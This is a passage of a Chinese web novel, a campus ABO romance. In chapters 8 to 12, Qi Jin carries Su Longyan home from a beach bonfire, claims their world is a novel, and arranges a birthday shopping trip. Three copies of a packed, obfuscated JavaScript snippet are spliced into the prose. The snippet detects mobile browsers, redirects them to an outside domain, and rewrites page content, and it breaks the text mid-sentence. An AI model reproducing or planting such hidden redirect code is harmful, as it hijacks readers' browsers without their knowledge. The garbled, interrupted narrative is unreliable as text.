苏拢烟甚至能看清他俩因屈辱和恼羞成怒而战抖的后背。秦知聿似乎还想苟延残喘一下,以挽回一点颜面。他转过身,不慎对上在场所有人或鄙夷或冷漠的目光,内心像被无数根细针穿插着,扎得他最后连强撑着的勇气都不剩了。 他再也承受不住了,紧忙用又短又粗的手捂住肚子,声音嘶哑道:“操!老子肚子痛……先走了。” 身旁的俞思林被这一声吼得愣怔,一屁股跌坐到地上。 看到这一幕的人忍不住嗤笑。演技拙劣,连掩饰都懒得费心了。 早已吓破胆的俞思林终于反应过来,如蒙大赦,手脚并用着从沙地里爬起来,头也没抬,亦步亦趋地紧随秦知聿,两人一前一后,像极了两条丧家之犬,逃也似地钻进那条通往学校的小径。 背影在昏黄的路灯下显得仓皇又猥琐,一眨眼便无影了。 人群的目光短暂的在秦知聿和小跟班消失的方向停留了片刻,转而像磁石一般,又一次缓缓地、带着欣赏和些许探究地,覆在篝火旁的祁禁和苏拢烟身上。 苏拢烟也看向祁禁。 少年那张俊美到张扬的脸,在火光的映照下,半垂着水墨晕开的眼眸,一副不以为意的姿态。他手里还拿着那台摄像机,神情寡淡而无辜,仿佛揭穿秦知聿让那黑胖子毫无还手之力的人不是他一样。 我是不是该向他道声“谢谢”? 苏拢烟蹙了蹙柔软的眉心,脑海里盘旋着这个该做或不该做的决定,然后他打算开口。 祁禁迈开颀长的双腿,与他拉出一段较长的距离。 径直走向那个一直默默站在人群边缘,看起来有点手足无措的校报记者姜容与。 “谢了,容容学姐。”祁禁的声音像一杯暖胃的咖啡,他一边说着一边把摄像机递还给姜容与。 姜容与依然懵懵的,怔了一小会,才伸出手接住摄像机,紧紧抱在怀里,小脸的火光下泛起赧红色,嗫嚅着回道:“不客气……应该的……” 祁禁把手伸进裤兜里,摸索了一下,掏出来一根荧光绿包装纸的棒棒糖。 他用指尖夹着塑料棍,递到姜容与面前:“喏,谢礼。苹果味的,可能有点酸,我只剩下这一根了。” 姜容与的大眼睛微微眯了起来,看向棒棒糖,舌尖抵向唇瓣,又看向祁禁,只盯了半秒,就把头埋得很低:“不、不用了。” “拿着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575201|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁禁挑了挑眉,“摄像机不错,拍得很清楚。” 这话听来像在夸摄像机,又像是在夸摄像机的主人。姜容与有点不知所措,纠结了半晌,还是红着小脸,伸出微微颤动的手指,接过那根可能有点酸的棒棒糖。 苏拢烟不自觉地翘起洇红的唇珠,余光突然瞥见一小块荧光粉,他撇过头,看到祁禁的位置空着的地方,放着一根棒棒糖,草莓味的,荧光粉…… 早晨的时候,他递给苏拢烟的那根。 围在篝火旁的人纷纷懊丧着。秦知聿这一走,闹剧的“主角”和“爆点”都没了。方才因怒火而聚拢的人丛,此时像被忽然抽走了主心骨,没有了可以谴责的靶子,没有了八卦的对象,更没有什么劲爆的后续,氛围变得有些尴尬和冷场。 “呃……那什么,好像没啥意思了哈?”有人小声犯起嘀咕,打破了沉默。 “是啊,被秦知聿这么一搞,兴致都没了。” “还挺冷的,要不……散了吧?” “走吧、走吧,本来还想着玩玩别的游戏。” “会长,祁禁同学,我们先走了啊。”有人象征性地打了个招呼。 告别声接踵而至,人们开始三三两两地结伴离开。之前被围得里三层外三层的海滩,转眼变得空旷起来。交谈声和脚步声渐渐淡去,最后只剩下篝火渐渐微弱的噼啪声和海浪不知疲倦的翻涌。 苏拢烟没有要走的意思。他也没有回头去看祁禁是否已经离开了。 海盐味的空气沁入肺腑,很是舒畅,他想去海边吹吹风。于是站起身,朝着远离篝火的海浪线走去。 细软的沙子淹没了粉白的脚踝,脚底的触感微凉。他在一个能清晰的看到海浪怕打暗礁,又能隐约看到远处校区灯火的地方停下,缓缓坐了下去。 从口袋里摸出一盒烟,还有打火机。 “咔哒”一声轻响,艳红的火苗窜起,映亮了他略显疲惫但依旧很温润很漂亮的眉眼。他低下头,凑近火苗,点燃夹在指间的香烟。 他出神地望着不远处漆黑的海面,浪花在月色下碎成银边。 不知是不是错觉,他忽然觉得,有人在朝他所在的方向看。眸光隐晦又明媚,没有停留在他的脸上,而是向下延伸,落在了别处。 苏拢烟下意识地蜷了蜷脚趾,沁凉湿润的沙子搔刮着他的脚心,有点痒痒的。 他这才后知后觉地意识到,刚刚为了方便在沙滩上行走,鞋袜都脱了,丢在篝火边,此时,他的脚是完全赤裸着的。 那道目光难道是……落在他的脚上? 他忍不住低头看了一眼。 Beta的脚,不像Alpha那般骨骼粗大,也不像Omega的,没有过分纤巧。脚型匀称而修长,足弓的曲线优美流畅,连着线条紧致的小腿,或许是常见不见光的缘故,脚背的皮肤像冷玉那样白皙,在月色的映照下,泛着莹润的光泽,就连修剪得十分干净整齐的脚趾甲,也透着健康的淡粉色,如同打磨过的贝壳。 9. 第9章 苏拢烟的脚很好看。 只是从未被人这样注视过,有些羞耻,令他浑身不适。 他犹豫着要不要把脚埋进沙子里,身后隐约传来几声轻微的闷响。 苏拢烟夹着烟的手指微微顿了顿。 终究没抑住好奇心,隔着烟霭,他那双琥珀色的眼眸朝侧后方瞥了一下。 只是这个回眸,让他心跳漏了半拍。 祁禁还没离开。不知何时他已踱步到了苏拢烟放鞋袜的地方。少年身形挺拔,一半掩在星曜之中,衬得他十分炫目。 他站姿随意,尽管透着散漫和闲淡的意味,却极具压迫感。 他低着头,月色勾勒出利落冷峻的下颌线,而他的视线,正不偏不倚地,落在了那双被随意脱下、揉成一小团的纯白短袜上。 纯棉材质,最简单的款式,此时像是两只被遗弃的小动物,软趴趴而乖巧地,躺在篝火边的沙滩上。 借着月光,苏拢烟隐约看到,那团小小的白色上,袜口的边缘似乎比其他地方颜色要深一点。 是不慎弄湿了吗? 苏拢烟掐灭手里只燃了小半截的香烟,烟头被使了点力摁进湿漉漉的沙子里,发出一声“滋滋”的微响。 祁禁到底想干什么?从看脚到看袜子,是有什么怪癖吗? 一股沁凉的寒意,混杂着被冒犯的烦躁,袭上他的后颈,让他在微凉的海风中坐立难安。他甚至怀疑,先前祁禁替他解围,是不是也带着某种令人无法理解、不怀好意的目的。 又是一阵挟着凉意的海风吹拂过来,苏拢烟裸露的脚踝有些发冷。内心更生烦闷,而身后正传来一阵脚步声,愈来愈清晰。 他不自觉地战栗起来。 沙子被踩踏着,发出“簌簌”的轻响,一步一步,不疾不徐,而后脚步声在他身后不远处停下,一个高硕的人影笼罩住了他。 苏拢烟保持着背对那人的姿势,假装专注地眺望着海面上翻涌的浪花,指尖残留着烟草的气息,正如心底未散的阴霾,让他无法冷静。 他能感受到身后那人的目光,包拢着他单薄的背脊。 “学长。”少年清朗的声音附上他的耳畔,带着几分慵懒,“海边风大,光着脚容易着凉。” 话音方落,仿佛是为了印证这句话似的,一阵强劲的海风扑面袭来,苏拢烟猝不及防的,鼻腔闷痒—— “阿嚏!” 一个清脆的喷嚏就这样毫无预兆地打了出来。 苏拢烟:“……” 他有些不好意思地揉了揉鼻尖,脸颊瞬间覆薄薄的赧红。真是讨厌什么来什么。刚刚还在心里腹诽祁禁的视线,现在却被他一句“关心”说中痛点,还“特意”用一个喷嚏当场“确认”此言非虚。 他吸了一口咸湿的空气,压下心头微妙的愤懑和不自觉的警惕,缓缓偏过身。 祁禁就站在距离他两三步的位置,眼神坦然,洇着墨的水眸垂下来,映着星光,纯粹而纯真,眸底蕴着微不可察的关切,至少表面看来是这样的。这与那个梦魅般盯着苏拢烟的袜子看的“变态”判若两人。 苏拢烟酝了酝了神,恢复了学生会会长惯常的温和与距离感,“祁同学还没走?”,而后迟疑了片晌,决定先表达谢意,毕竟祁禁在迎新会上帮了自己,“对了,没来得及跟你说,那场‘国王游戏’……谢谢你。” 祁禁挑了下眉弓,淡然道:“哦,这件事啊,应该的,学长不用放在心上。” 他往前踱了一小步,拉近了两人之间的距离,然后双手插兜,倾下身,阴影将苏拢烟整个彻底包裹住,勾起唇角而语气带着歉意:“说起来,我还没跟学长道歉,现在提的话,尚不算晚,对吗?” 苏拢烟微怔:“道歉?” “嗯。”祁禁颔了颔首,直起身子,“昨晚在学校澡堂,还有今早在你宿舍里,我肆意散发信息素,吓到了你,抱歉。” 这两次经历,着实让苏拢烟心有余悸。Enigma的信息素充满蛊弄又能给人带来窒息般的威慑力,即使是Alpha也未必招架得住,更何况苏拢烟只是个身体孱弱的Beta。 此刻听祁禁主动提及加之道歉,苏拢烟心里的不快和警惕不自觉淡了几分。毕竟,祁禁看起来确实像在为自己先前的“失误”而懊恼。 “算了,没关系的。”苏拢烟语气松弛了许多。 他端量着祁禁,思忖了一会,又好奇地问道:“不过,你今早突然又能控制信息素了,而且收敛得很好,你是怎么……突然又能控制了呢?” 少年檀色的薄唇轻抿了一下,撇开视线,抬手挠了挠后颈,唇角勾起一抹浅浅的弧度,有点羞愧,放低声音道:“也没什么,就是昨晚洗完澡回去练习了一晚上。” 说完又迟疑了片刻,换成轻描淡写的语气,有点委屈似的补充了一句:“稍微……熟练了有那么一点点。” “就是小腹酸酸的。” 熬夜练习收放信息素吗?小腹为何会酸? 苏拢烟微微睁大眼眸,打量着祁禁。少年在冷白的月色下低着头,额前银灰色的碎发遮住了些许眉眼,只露出淡淡地黑眼圈,以及峻挺的鼻梁和下垂的唇角。 苏拢烟的眼镜镜链随着海风摇曳,一种莫名的同情和无奈盖过了先前的防备。 也许,他是因为刚成年,分化成Enigma不算太久,还没有完全适应生理上的特殊性,才会…… “小腹酸是因为什么?”苏拢烟没忍住,还是诧异地发问。 祁禁怔了一下,而后轻笑道,有点赧臊:“我的腺体,长在……那个位置,就是长在……” “我知道了。”苏拢烟慌忙打断祁禁,想要转移话题,他思索了一会,找到一个盘旋在心里良久的疑虑,“我有个疑问,从昨天就想问你。” 祁禁闻言,抬起水眸,直视苏拢烟,纤长浓密的睫羽像“哗”地晕开的墨汁,配上唇角轻扬的弧度,这张脸,就像是一幅“逸气固凌霄”的山水画卷。 只是语气缱绻: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是少年人玩游戏把脑子玩坏了?还是看小说看多了,兴致起来想着以这种方式捉弄学长? 祁禁打量着苏拢烟茫然的神情,讪讪地低笑,像是自嘲。 “不信?我就知道。”他顺手抓起一把沙子,砂粒在宽大的手掌中聚拢,又顺着修长的手指,穿过指缝,滑落回地上。 “在这个‘故事’里,学长你呢,是个……嗯,不太重要的配角,是那种恋爱脑的炮灰。”他停顿了一下,似乎在观察苏拢烟的反应,见他只是蹙着眉,没有太大的情绪波动,于是继续往下说,“你的那位Alpha男朋友,闻野,才是书里的主角,他有自己的官配CP。” 闻野的名字像一道闪电,一击即中苏拢烟的眉心,他蹙得更紧了:“祁同学,你到底想说什么?” 他觉得这个玩笑开得太过火了,祁禁是不是对自己有什么敌意,故意在这胡乱编排。 祁禁仿佛没有听到他的质疑,眸光放远,投向黑色的海平线,音量不高,却字字扎心:“故事的结局是,闻野会遇到一个‘真爱’,是我们学校表演系的一个很漂亮的学生,还是个大明星,Omega。” “他会为了那个Omega,毫不犹豫地甩掉你。”祁禁说到这里,转回头,目光直直地看向苏拢烟,眸底不见戏谑,只有近乎残忍的平静,“而你,苏拢烟学长,在‘原著’里,被甩之后还对闻野死心塌地,不舍得放手,最后……” 10. 第10章 祁禁没把话说完,那未尽之言带来的遐想,似乎比直白的说出来更让苏拢烟不舒服。 苏拢烟怔怔地看着祁禁神情肃然的脸。他怎么能说出如此荒谬的话?穿书?炮灰?闻野会为了别人甩掉自己?还死心塌地? 这都什么跟什么? 他嗤笑了一声,是被气笑的,这比先前骂自己“贱受”还离谱,根本就是胡说八道!是对他和闻野以及他们这段感情的恶意诽谤。 “祁禁。”苏拢烟的声音冷了下来,他称呼着祁禁的全名,没有叫他“祁同学”,语气带着明显的不悦,“我不懂你为什么要编造这种无聊的故事来消遣我,如果你觉得这样很有趣,那抱歉,我没时间奉陪。” 他以为祁禁会反驳,或者继续胡闹下去。可就在这时—— “阿嚏!”又是一个脆亮的喷嚏,毫无预兆地打破了凝固着的空气,和两个人之间紧张的氛围。 苏拢烟:“……抱歉。” 他蜷了蜷手指,有点尴尬,肩膀微微瑟缩了一下。 前一秒还沉浸在祁禁荒唐的“穿书预言”所带来的震惊和恼怒中,心头的火气无处宣泄,后一秒就被这声喷嚏打断了所有情绪。 祁禁的声音染上了一点湿漉漉的鼻音,听起来有点小可怜,“都怪我,话太密了,害学长在这里吹冷风”,他用极其自然的口吻,仿佛方才那番惊世骇俗的言论从未从他口中说出过,道:“夜晚的海边太凉,学长也穿得不多,别是感冒了,我们回学校吧。” 他这一瞬间温吞的关怀,令苏拢烟一时都忘了生气,他压下心头被冒犯的不快,冷淡地点点头:“是该回去了。” 确实,不管祁禁是真疯还是假疯,继续待在这里听他胡言乱语不是明智之举。 苏拢烟起身背对着祁禁,朝着篝火的方向走去,那里还晾着他脱下的鞋袜。 沙子在脚趾缝里细密地陷落,软绵绵地,又带着凉意。 他走到篝火旁,火已经燃尽了,只剩下微微泛红的余烬,本该被烘得温暖干燥的鞋子和袜子现在都湿答答的,鞋面几乎彻底被浸透了,袜子也沾满了细砂,软趴趴地贴在沙地表面。 怎么会湿成这样?篝火什么时候熄灭的? 苏拢烟眉头紧蹙,寒意窜上心头,倒不是因为眼前的状况,而是一种混杂着疑惑和被算计后的冷栗。他回过头,看向几步之外的祁禁,眸色阴沉。 祁禁的脸上恰时地露出惊诧的表情,他快步走了过来,蹲了下去,伸手拈了拈湿透的鞋袜,眉头紧锁,“怎么湿了?是海边潮气太重?”,他抬起头,水色的眸子满是困惑,还藏着一丝狡黠,“这下有点麻烦了,学长。” 苏拢烟抿紧唇瓣,咬了下唇珠,又洇出零星血珠,他没有回话,再次打量了一眼那堆熄灭了的篝火,狐疑中带着肯定。 这绝对和祁禁脱不了干系。 他到底想干什么?用莫名其妙的“穿书预言”来激怒他,还事先弄湿他的鞋袜,让他无法离开吗? 就在苏拢烟揣测祁禁的动机时,祁禁已然站起身,手里拎着苏拢烟的鞋袜,走到苏拢烟跟前,背过身去,微微弓腰,露出线条苍劲流畅的背脊。 “上来,学长。”像是下达不可违抗的命令,只是语气听起来很轻快,“总不能让你光着脚走回去,沙子会硌脚,而且现在这么凉,会真的感冒的”,他侧过脸颊,唇角勾起无辜的笑靥,“就当是我刚才胡说八道,惹学长生气的歉礼。” 苏拢烟看着那一截暴露在空气里的铜白紧致的腰脊,很想拒绝,想要维持自己学生会会长的体面,保持疏离,但看着祁禁手里湿透的鞋袜,摩擦着脚下冰凉的沙粒,夜风阵阵,吹着他单薄的衬衣…… 祁禁似乎看穿了他的犹豫,又补充了一句,像是撒娇般地说道:“我力气很大的,背你会很轻松,上来吧。” 最终,在一片骤起的海浪声中,苏拢烟压下心头所有的疑虑和不情愿,四肢有点生硬地,伏上祁禁宽阔的后背。 祁禁轻笑一声,随即一手托起苏拢烟纤柔紧致的腿弯,稳了稳身子,迈开长腿,朝着通往学校的小径走去。 路灯昏黄,光线暗昧地流转在两人身上,将他们的影子拉得很长,很亲密,轻轻晃动。 祁禁的背,和他这个人带来的感觉截然不同,没有张扬的侵略性,也不是温和内敛的,而是极其稳固、传递着血脉偾张的暖意的那种宽阔。 隔着两层单薄的衣料,苏拢烟能清晰地感受到他流畅的肌肉线条,还有灼热的体温。 奇怪得很,明明对这个少年充满了警惕,不解,愠怒,但此刻伏在他的背上,被这股暖意包裹着,耳边传来平稳有力的心跳声,鼻息间袭来似乎只属于他的,干净皂角混合酒香以及一小撮火药味的气息,苏拢烟紧绷的神经竟在不知不觉中一点一点松懈下来。 太累了。被迎新会的“国王游戏”整得一时惊诧无措,刚才祁禁那番“穿书论”又搅得他心神不宁,疲惫感像潮水般袭向苏拢烟。 祁禁的步伐很稳,宽阔温暖的背脊仿佛成了最舒适的床榻,夜风轻拂,海浪声渐渐模糊…… 苏拢烟只觉得眼帘越来越沉,眼前的事物渐渐朦胧,他无意识地将脸颊往祁禁温热的颈侧埋了埋,以求更熨帖的温度。 就在半梦半醒的间隙,一阵宿醉般的钝痛从身体的某个部位幽幽地传来,他难受得动了动,唇齿间溢出一声极轻的呓语: “痛……” 祁禁的脚步停了下来,他将声音压得很低,怕惊扰到背上沉浸在睡梦中的那人,语气里又有点探究的意味,他轻声问道:“哪里痛?” 苏拢烟的意识已经彻底模糊,只剩下那一点顽固的疼痛,他嘟囔着,含混不清、毫无防备地直白道:“……喉结……好痛。” 他的脸颊不自觉覆上稀薄的红晕,又蹭了蹭祁禁的皮肤,寻求安慰的细微动作:“被你……被你玩坏了,好痛……” 话音落下,空气也沉默了,静谧得只剩下树叶簌簌的声响。 祁禁重新迈开颀长的腿,脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“花瓣不好吃的,学长。”祁禁柔声道,“不卫生。” 苏拢烟迷蒙地眨了眨眼:“哦。” “我裤子左边的口袋,有糖。”祁禁没有回头。 苏拢烟怔了片晌:“……嗯?” “荧光粉包装的,自己拿。” 自己拿? 苏拢烟的意识被这句命令戳得清醒了些许。他现在整个人都趴在祁禁背上,以这个姿势去够祁禁裤子的口袋,怎么想都有点……太过狎昵了。 他抗拒地动了动。 “快点,学长。”祁禁催促道,“不然一会儿该被人围观了。” 他指的是不远处那场还在进行中的告白闹剧。 苏拢烟下意识朝那边张望了一下,确实有人注意到他们这边的动静,还投来好奇的目光。 学生会会长的体面,让他不得已压下心头的不自在。他抬起手,探向祁禁的裤子左侧,摸索进口袋。 牛仔布料的质感略微硬挺,但很轻薄,他甚至能感受到祁禁身体的热温。手指在口袋里摸了半天,只碰到一些杂物,钥匙,还有别的什么。 11. 第11章 “是那个滑溜溜的,长条状的。”祁禁的声音像被附上了魔力,驱使着苏拢烟在他的裤兜里探索。 终于,苏拢烟的指尖触碰到一个摸起来很光滑的长条物,带着塑料包装纸的酥脆手感。他费了点力,才把棒棒糖从祁禁口袋里勾出来。 借着路灯的光晕,那抹荧光粉在夜色中异常的炫目。 苏拢烟看着手里那根棒棒糖,觉得很是不可思议。 祁禁这么邪痞的少年,居然贴身揣着这种少女心爆棚的草莓味棒棒糖。 惊人的违和感。 可他太过疲惫了,累得连思考的气力都没有了。草莓味的馨甜仿佛已经透过包装纸,丝丝缕缕地,抚弄起他的鼻息。 几乎是凭着本能,他动作迟缓地撕开那层可可爱爱的糖纸,露出那颗近乎透明的、蕴着淡粉色光泽的糖果。 没等祁禁继续说什么,苏拢烟已经仰起头,将圆滚滚的棒棒糖塞进唇齿间。 浓郁的草莓味在味蕾里蔓延开来,驱散了那片玫瑰花瓣带来的微涩。 真甜…… 他满足地眯起眼睛,翘起唇珠,像只小猫咪一般,神情温驯的含着,舌尖无意识地舔舐光滑的糖面。 路灯勾勒出祁禁微微上扬的唇角,笑容不同于惯常时的闲淡,又或是挑衅,而是一种心满意足的愉悦。 他甚至发出一声极轻的喟叹,像是费了好大劲,总算投喂成功了某只不太亲人的宠物。 而那场热闹的玫瑰花雨告白仪式,似乎已经成了无关紧要的背景板,被彻底隔绝在这弥漫着草莓味、被灼人体温包裹着的方寸世界之外。 祁禁背着苏拢烟,步伐稳健,踏进了敞亮的宿舍楼。 日光灯白得太扎眼了,苏拢烟迷糊的意识骤然清醒了几分。 宿舍门被祁禁的长腿轻轻抵开。 “哦哟,小烟会长这是体验了一把‘特殊服务’?”一个带着揶揄而尾音上扬的声音传来。 珀尔正靠着椅背,一只手摊在书桌上,指间转着一支笔。 他看到门口的情形,挑了挑唇角,漂亮的深海蓝眼眸里盛满了笑意,眸光在祁禁和苏拢烟之间来回逡巡。 这番不做掩饰的打趣让苏拢烟的面颊上染上了一层绯色,残留的睡意被彻底驱散。他在祁禁背上挣扎着想要下来。 祁禁便小心地将他放在地上。 双脚着地的那刻,苏拢烟的腿还有点发软,忙不迭扶了一下门框才站稳。 真想结束这尴尬的场面。太尴尬了! “那个……”苏拢烟低着头,不太敢直视祁禁的眼睛,“祁同学,谢谢你送我回宿舍”,一边说着一边摘下眼镜,揉了揉酸涩的眼角。 他寻思了片晌,转身从自己睡的那张床的床头拿起叠得整整齐齐的黑色T恤,然后去洗手间取来那条宽大的藏青色毛巾,双手递给祁禁。 “还有……这些,还你。这两天真的麻烦你了。”声音由于紧张,听起来有点哑涩。 祁禁闻言,不作回应,只是伸出手,接过那两样东西。他的指尖似无意般擦过苏拢烟的掌心,一阵微凉的酥麻袭来,苏拢烟轻微地战栗了一下,飞快地抽回手。 祁禁淡淡的“嗯”了一声,眸光在苏拢烟依旧泛着红晕的喉结上停留了片刻,掠过那颗可怜得明晃晃的小痣,随即转身,利落地迈开长腿,离开了。 门被轻轻带上,宿舍里只剩下珀尔和苏拢烟。珀尔携着满是探究的狭促目光盯着苏拢烟,一声不吭。 “……” 苏拢烟视图打破这诡异的沉默,寻思了一会,道:“我去洗漱。” 话音方落,他逃也似地进了洗手间。 拧开水龙头,水流哗哗而下,苏拢烟掬起一捧水泼在面颊上,被冰凉的水温刺激后,疲乏感和心底莫名的躁动被驱散了。 他抬起头,看向镜子。镜中的自己面色有些苍白,眼下覆着一抹淡青色,唇瓣却红得有点过分,大概是因为刚才含过糖,染上了饱满的嫣粉。 他呼了一口气,准备伸手去拿牙刷。 蓦地,一阵强烈的热意毫无预兆的攀附上他的后颈。 不是被什么烫到的灼痛,也不是运动后的燥热,而是一种从血管里透出来的,发胀痒麻的温热。 “怎么回事?”苏拢烟蹙眉,伸手摸向自己的后颈。 指腹触及之处,温度比其他地方要高一些,而且,好像有点肿?像是被蚊虫叮咬后鼓起的小包,但范围更大,触感也更坚实。 这感觉太陌生了。 他对着镜子,费力地扭过头,想要看清楚后颈到底怎么了。 但洗手间的镜子只能照到正面和侧面,任凭他怎么调整角度,脖颈后面的那一小块皮肤始终藏匿在视野的死角,他只能看到一片朦胧的与周围肤色没有差别的影像。 然而,那股胀热却愈来愈清晰,像是有什么生命体蛰伏在那处皮肤之下,逐渐苏醒,蓬勃,蠢蠢欲动。 细思极恐的错乱感缠上了苏拢烟的心脏。 是太累了?还是刚才吹海风的时候被虫咬了?又或者是过敏了? 他想为这突如其来的异样找个合理的解释。 镜子里的青年,此时眉头紧锁,眸底盛满了困惑和不安。 热度依然没有褪去,像一小簇暗火在燃烧,带来持续微麻的胀痛。 苏拢烟揉了揉眉心,竭力压下心头因未知而生的烦躁,尽量若无其事地从洗手间走了出去。 宿舍里安静得出奇,珀尔正戴着降噪耳机,手指在亮起的键盘上噼里啪啦的,电脑屏幕上是游戏界面,他似乎完全沉浸在自己的世界里,连眼角的余光都没分给苏拢烟丝毫。 也好。苏拢烟暗暗松了口气,他现在确实也没精力应付珀尔的调侃。 他掀起被子,躺进了床,身体陷进柔软的被褥里,后颈的异样才稍稍冲淡了些许。 他渐渐放松下来。 就在他即将进入睡乡的时候,枕边的手机屏幕突然亮了。 “叮——” 有新消息?这么晚了,会是谁呢?闻野吗? 苏拢烟缓缓侧过身,拿起手机。 屏幕上显示着一条微信好友验证请求。 【XX请求添加你为好友】 头像是纯粹的黑色,没有任何图案和标识,像一个深不见底的黑洞。 苏拢烟定了定睛才看清那个用户名,只有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575204|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字:禁色。 苏拢烟呼吸一滞。 禁色…… 这个用户名传递着一股乖戾与暧昧,像暗夜里的罂粟花,危险,又充满致命的吸引力。 几乎是一瞬间,那个先前让他趴在背上带他回校的人的侧脸,清晰地浮现在苏拢烟的脑海里。 俊美得过分。 祁禁。 除了他,苏拢烟想不到还会有谁会用这样一个引人遐想的嚣张昵称。 圆润的指尖在手机屏幕上悬停着,他在犹豫。但一想到那个少年毕竟送自己回宿舍了,于情于理,似乎没有拒绝的道理。 于是,还是点下了绿色【接受】键。 就在他点击确认添加好友的同时,对话框那头仿佛算准了时间一般弹出了一条消息: 【图片:定位分享——黄金四角区购物中心】 没打招呼,没有寒暄,连个表情包都不舍得发。第一条消息就是冷冰冰的定位。 苏拢烟:“!” 他蹙了蹙眉,点开定位。 “黄金四角区”是富人们的购物天堂,以昂贵的高定奢侈品而闻名,是苏拢烟这样的靠奖学金和打工兼职维持生活的学生路过就会刻意绕开的地方。 祁禁发这个定位给他做什么? 他正满心困顿,指尖悬在输入框上方,还没来得及打出一个字,第二条、第三条消息接踵而至。 禁色:【明天周末,我生日。】 禁色:【学长答应我的第三件事,该兑现了。】 生日? 第三件事…… 难不成祁禁要在自己生日这天,让苏拢烟去他根本不可能消费得起的“黄金四角区”? 苏拢烟看着那个购物中心的名字,感受着后颈徐徐传来的热度,指尖小心翼翼地在屏幕上敲击。 苏拢烟:【你要我……陪你去买生日礼物吗?】 他的指尖蜷了蜷,酝酿了一会,还是决定把话说清楚。 苏拢烟:【那家购物中心的商品可能有点贵,我不一定买得起你想要的。】 这话说得相当直白,虽然有那么点丢脸,但他必须提前说明自己的经济情况,他只是个普通的大三学生,有钱人挥金如土的生活与他无关。 屏幕那端安静了几秒。 苏拢烟几乎可以想象到,祁禁看到这两条信息时,眸底会掠过怎样的冷光,或许,唇角还会不自觉勾起一抹哂笑。 新的消息很快跳了出来。 禁色:【那就买你买得起的。】 禁色:【只要是学长送的,我都行。】 都行…… 这两个字轻飘飘的,却像一座山,重重地压在苏拢烟的心头。 祁禁说的话滴水不漏,既显得体贴大度,又将选择的难题不着痕迹地抛回给苏拢烟。 苏拢烟一时间不知该如何回复。 一夜辗转。 醒来时,他揉了揉发沉的太阳穴,认命般从床上坐起。窗外的天光已经透亮,他洗漱完毕,换好衣服,站在宿舍门口,却迟迟没有开门。 无论如何,答应了的事情,做不到也不能反悔。尤其祁禁还抓着“生日”这个由头。 12. 第12章 苏拢烟拉开宿舍的门,走下楼梯。 一楼的公共区域,日光嵌着碎金般洒进来,落在一个高硕惹眼的身影上。 祁禁就站在大门外。 他今天穿得很简单,一件克莱因蓝的T恤,袖口卷至肩头,露出臂膀流畅有力的肌肉线条。下身是纯白长裤,配一双看不出牌子的红颜色运动鞋。 银灰色狼尾辫在日光下熠熠地泛着光泽,想忽视都难。 只是他今天,身侧停着的不是什么限量版超跑,而是一辆蓝白相间的共享单车,还是那种带后座的。 祁禁的手随意地搭在车把手上,另一只手插在裤兜里,微微偏过头,视线精准地落在刚从楼道里出来的苏拢烟身上。 他看起来像是等了有一会了,脸上瞧不出不耐烦的神色,眸底那抹似笑非笑的冷意,在看到苏拢烟的那刻,柔和了几分。 苏拢烟低着头走了过去,眸光在那辆和自己平日里的代步工具没什么区别的共享单车上游移了一圈,一团疑惑在心头绽开。 祁禁确定是要自己陪他逛“黄金四角区”吗? 苏拢烟顿了片晌,试探地问道:“你要骑共享单车?” 祁禁闻言,扬了扬下颌,眉弓微挑,示意了一下后座,用少年惯有的清冽嗓音低声应道:“嗯。” 苏拢烟蹙眉:“……” 他沉默了一下,实在没忍住,还是脱口而出:“你什么时候这么亲民了?” 祁禁没有回答,只是重复了一遍刚才示意苏拢烟的动作,语气自然:“上来。” 苏拢烟怔在原地,抿了抿薄唇,两片嫣红很不自在地动了动。 其实共享单车的后座他不是没坐过,偶尔会和闻野打闹着骑一段。可是此刻,载他的对象是祁禁,感觉太不一样了。 尤其是在昨晚那番接触,加上那条目的性明确的微信后。 苏拢烟眼角的余光,已经看到周围路过的同学朝这边投来惊诧的目光。学生会会长和大一的学弟坐在同一辆共享单车上,这画面怎么想都有点违和。 但他已经答应了所谓的“第三件事”。 “‘黄金四角区’,骑这个去,会不会有点远?”苏拢烟视图找个实际的理由。 祁禁没有给他继续纠结的时间,侧过身,大手拍了拍后座,催促道:“学长,时间宝贵。” 苏拢烟无可奈何,只能跨坐上去。 祁禁也迈开长腿跨过座位,他不等苏拢烟调整好姿势,便轻声命令道:“抱着我。” 苏拢烟浑身一栗,想要拒绝。 “要出发了。”祁禁的声音听来有点盎然,“抓稳了,不然摔着我可不负责。” 一个很充分的理由。 单车被少年单脚撑地,有些微微晃动。苏拢烟端量着祁禁挺直的背脊,犹豫了一小会,理智占据了上风,为了安全,的确应该扶着前面的人。 他伸出手臂,环住了身前那个少年的腰。 指尖扣在人鱼线下面,隔着单薄的布料,依然能感受到灼人的体温,以及紧实得惊人的肌肉轮廓,坚硬,滚烫。 这腰……好硬实的。 几乎是下意识地,苏拢烟收紧了手臂。 “坐好了?”祁禁的声音从前面传来。 